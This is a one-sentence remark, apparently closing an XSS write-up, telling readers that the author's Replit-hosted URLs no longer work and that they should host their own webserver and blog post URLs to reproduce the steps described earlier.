Remark: Do not use my URLs shown above to test because the replit will no longer be running and the XSS will not be executed. Follow the above steps and host your own webserver to test and use you own blog post URLs instead.